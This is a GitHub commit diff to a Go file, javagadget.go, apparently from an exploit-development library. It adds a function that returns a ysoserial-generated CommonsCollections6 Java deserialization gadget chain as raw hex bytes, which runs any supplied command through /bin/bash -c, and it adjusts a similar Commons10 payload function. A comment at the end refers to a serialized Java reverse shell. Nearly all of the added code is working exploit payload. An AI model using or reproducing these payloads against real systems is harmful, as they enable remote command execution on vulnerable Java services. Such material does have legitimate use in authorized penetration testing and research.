Skip to content

Commit 37a4e17

Browse files
lobsterjerusalemlobsterjerusalem
authoredMar 20, 2025
Added Commons6(modified) payload and corrected return type on Commons10 (#332)
* Added modified Commons6 payload and corrected the return type for Commons10
1 parent b49ac95 commit 37a4e17

File tree

1 file changed

+133
-4
lines changed

1 file changed

+133
-4
lines changed
 

‎java/javagadget.go

+133-4
Original file line numberDiff line numberDiff line change
@@ -15,10 +15,139 @@ func ErrorInvalidCommandLength(msg string) error {
1515
return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
1616
}
1717

18-
// the allocated space (255).
19-
func Commons11CommandBytecode(commandStr string) ([]byte, error) {
18+
// This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg
19+
// The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to
20+
// prepend it with a bash -c, and the spaces do not need to be replaced with $IFS.
21+
// It also solves redirection issues that are present in unmodified ysoserial payloads.
22+
// This payload will always run the provided command using bash, hence the name.
23+
// That said you should not need, nor should you prepend a <shell> -c to commandStr parameter passed here.
24+
func Commons6ModifiedBashCommandBytecode(commandStr string) (string, error) {
2025
if len(commandStr) > 255 || len(commandStr) < 1 {
21-
return []byte{}, ErrorInvalidCommandLength("command must be between 1 and 255 characters")
26+
return "", ErrorInvalidCommandLength("command must be between 1 and 255 characters")
27+
}
28+
29+
payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" +
30+
"\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65" +
31+
"\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00" +
32+
"\x78\x70\x77\x0c\x00\x00\x00\x02\x3f\x40\x00\x00" +
33+
"\x00\x00\x00\x01\x73\x72\x00\x34\x6f\x72\x67\x2e" +
34+
"\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f" +
35+
"\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f" +
36+
"\x6e\x73\x2e\x6b\x65\x79\x76\x61\x6c\x75\x65\x2e" +
37+
"\x54\x69\x65\x64\x4d\x61\x70\x45\x6e\x74\x72\x79" +
38+
"\x8a\xad\xd2\x9b\x39\xc1\x1f\xdb\x02\x00\x02\x4c" +
39+
"\x00\x03\x6b\x65\x79\x74\x00\x12\x4c\x6a\x61\x76" +
40+
"\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63" +
41+
"\x74\x3b\x4c\x00\x03\x6d\x61\x70\x74\x00\x0f\x4c" +
42+
"\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61" +
43+
"\x70\x3b\x78\x70\x74\x00\x03\x66\x6f\x6f\x73\x72" +
44+
"\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65" +
45+
"\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c" +
46+
"\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70" +
47+
"\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82" +
48+
"\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61" +
49+
"\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67" +
50+
"\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d" +
51+
"\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69" +
52+
"\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72" +
53+
"\x6d\x65\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72" +
54+
"\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d" +
55+
"\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74" +
56+
"\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72" +
57+
"\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61" +
58+
"\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec" +
59+
"\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54" +
60+
"\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74" +
61+
"\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63" +
62+
"\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63" +
63+
"\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54" +
64+
"\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78" +
65+
"\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61" +
66+
"\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e" +
67+
"\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e" +
68+
"\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65" +
69+
"\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00" +
70+
"\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f" +
71+
"\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f" +
72+
"\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63" +
73+
"\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f" +
74+
"\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54" +
75+
"\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76" +
76+
"\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09" +
77+
"\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x71\x00\x7e" +
78+
"\x00\x03\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61" +
79+
"\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d" +
80+
"\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
81+
"\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70" +
82+
"\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73" +
83+
"\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73" +
84+
"\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e" +
85+
"\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f" +
86+
"\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38" +
87+
"\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74" +
88+
"\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" +
89+
"\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b" +
90+
"\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74" +
91+
"\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" +
92+
"\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69" +
93+
"\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00" +
94+
"\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" +
95+
"\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00" +
96+
"\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" +
97+
"\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f" +
98+
"\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00" +
99+
"\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69" +
100+
"\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61" +
101+
"\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b" +
102+
"\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78" +
103+
"\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d" +
104+
"\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x1b\x00" +
105+
"\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e" +
106+
"\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0" +
107+
"\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x78\x70" +
108+
"\x76\x71\x00\x7e\x00\x1b\x73\x71\x00\x7e\x00\x13" +
109+
"\x75\x71\x00\x7e\x00\x18\x00\x00\x00\x02\x70\x75" +
110+
"\x71\x00\x7e\x00\x18\x00\x00\x00\x00\x74\x00\x06" +
111+
"\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x1b" +
112+
"\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61" +
113+
"\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74" +
114+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78" +
115+
"\x70\x76\x71\x00\x7e\x00\x18\x73\x71\x00\x7e\x00" +
116+
"\x13\x75\x71\x00\x7e\x00\x18\x00\x00\x00\x01\x75" +
117+
"\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61" +
118+
"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2" +
119+
"\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00" +
120+
"\x00\x00\x03\x74\x00\x09\x2f\x62\x69\x6e\x2f\x62" +
121+
"\x61\x73\x68\x74\x00\x02\x2d\x63\x74\x00\xff" +
122+
123+
// 255 characters were allocated, we just put back the unused
124+
// length as spaces
125+
commandStr + strings.Repeat(" ", 0xff-len(commandStr)) +
126+
127+
"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00" +
128+
"\x7e\x00\x1b\x00\x00\x00\x01\x76\x71\x00\x7e\x00" +
129+
"\x2c\x73\x71\x00\x7e\x00\x0f\x73\x72\x00\x11\x6a" +
130+
"\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74" +
131+
"\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38" +
132+
"\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x78" +
133+
"\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" +
134+
"\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b" +
135+
"\x94\xe0\x8b\x02\x00\x00\x78\x70\x00\x00\x00\x01" +
136+
"\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69" +
137+
"\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda" +
138+
"\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c" +
139+
"\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09" +
140+
"\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f" +
141+
"\x40\x00\x00\x00\x00\x00\x00\x77\x08\x00\x00\x00" +
142+
"\x10\x00\x00\x00\x00\x78\x78\x78"
143+
144+
return payloadBytes, nil
145+
}
146+
147+
// Generated using ysoserial with CommonsCollections10
148+
func Commons10CommandBytecode(commandStr string) (string, error) {
149+
if len(commandStr) > 255 || len(commandStr) < 1 {
150+
return "", ErrorInvalidCommandLength("command must be between 1 and 255 characters")
22151
}
23152

24153
payloadBytes := "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61" +
@@ -283,7 +412,7 @@ func Commons11CommandBytecode(commandStr string) ([]byte, error) {
283412
"\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x00\x77\x08" +
284413
"\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78"
285414

286-
return []byte(payloadBytes), nil
415+
return payloadBytes, nil
287416
}
288417

289418
// This is a serialized java reverse shell. The gadget was generated by ysoserial

0 commit comments

Comments
 (0)
Failed to load comments.